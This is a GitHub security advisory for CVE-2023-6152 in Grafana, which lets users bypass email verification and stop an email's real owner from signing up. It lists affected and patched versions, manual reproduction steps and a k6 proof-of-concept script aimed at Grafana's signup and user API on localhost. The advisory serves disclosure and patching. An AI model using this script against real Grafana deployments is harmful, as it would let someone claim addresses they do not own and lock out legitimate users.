Skip to content

Email Validation Bypass And Preventing Sign Up From Email's Owner

Moderate severity GitHub Reviewed Published Feb 13, 2024 in grafana/bugbounty • Updated Feb 23, 2024

Package

gomod github.com/grafana/grafana (Go)

Affected versions

>= 2.5.0, < 9.5.16
>= 10.0.0, < 10.0.11
>= 10.1.0, < 10.1.7
>= 10.2.0, < 10.2.4
>= 10.3.0, < 10.3.3

Patched versions

9.5.16
10.0.11
10.1.7
10.2.4
10.3.3

Description

Summary

Email validation can easily be bypassed because verify_email_enabled option enable email validation at sign up only.
A user changing it's email after signing up (and verifying it) can change it without verification in /profile.
This can be used to prevent legitimate owner of the email address from signing up.

Another way to prevent email's owner from signing up is by setting Username as an email:
When a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames and emails the same in some situations), but only the former is validated.

Here user a prevents owner of bar@example.com to signup.

Details

I don't know exact location but this is related to PUT /api/user handler.

PoC

Bypass email validation:

  • Start a new grafana instance using latest version
  • Sign up with email foo@example.
  • Login to that account.
  • Go to profile and change email to bar@example.com
  • That's it, your using an email you don't own.

Prevent email's owner from signing up:

  • Start a new grafana instance using latest version
  • Sign up with email foo@example.
  • Login to that account.
  • Go to profile and change username (not email) to bar@example.com
  • Signout.
  • Try to sign up with email b@example.com
  • Warning popup "User with same email address already exists"

K6 script (with verify_email_enabled set to false):

import { check, group } from "k6"
import http from "k6/http"

export const options = {
  scenarios: {
    perVuIter: {
      executor: 'per-vu-iterations',
      vus: 1,
      iterations: 1
    }
  }
}

const GRAFANA_URL = __ENV.GRAFANA_URL || "http://localhost:3000"

export default function () {
  group("create user_a with email foo@example.com", () => {
    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({
      "email": "foo@example.com",
      "password": "password"
    }), {
      headers: {
        'Content-Type': "application/json"
      }
    })

    check(response, {
      'status code is 200': (r) => r.status == 200
    })
  })

  group("change user_a login to bar@example.com", () => {
    const response = http.put(`${GRAFANA_URL}/api/user`, JSON.stringify({
      "email": "foo@example.com",
      "login": "bar@example.com", // user_b email.
    }), {
      headers: {
        'Content-Type': "application/json"
      }
    })

    check(response, {
      'status code is 200': (r) => r.status == 200
    })
  })

  http.cookieJar().clear(GRAFANA_URL)

  group("create user_b with email bar@example.com", () => {
    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({
      "email": "bar@example.com",
      "username": "bar@example.com",
      "password": "password"
    }), {
      headers: {
        'Content-Type': "application/json"
      }
    })

    check(response, {
      'status code is 200': (r) => r.status == 200 // fail
    })
  })
}

Impact

Bypass email verification.
Prevent legitimate owner from signing up.

References

@dannyc-grafana dannyc-grafana published to grafana/bugbounty Feb 13, 2024
Published by the National Vulnerability Database Feb 13, 2024
Published to the GitHub Advisory Database Feb 13, 2024
Reviewed Feb 13, 2024
Last updated Feb 23, 2024

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

EPSS score

0.043%
(10th percentile)

Weaknesses

CVE ID

CVE-2023-6152

GHSA ID

GHSA-3hv4-r2fm-h27f

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.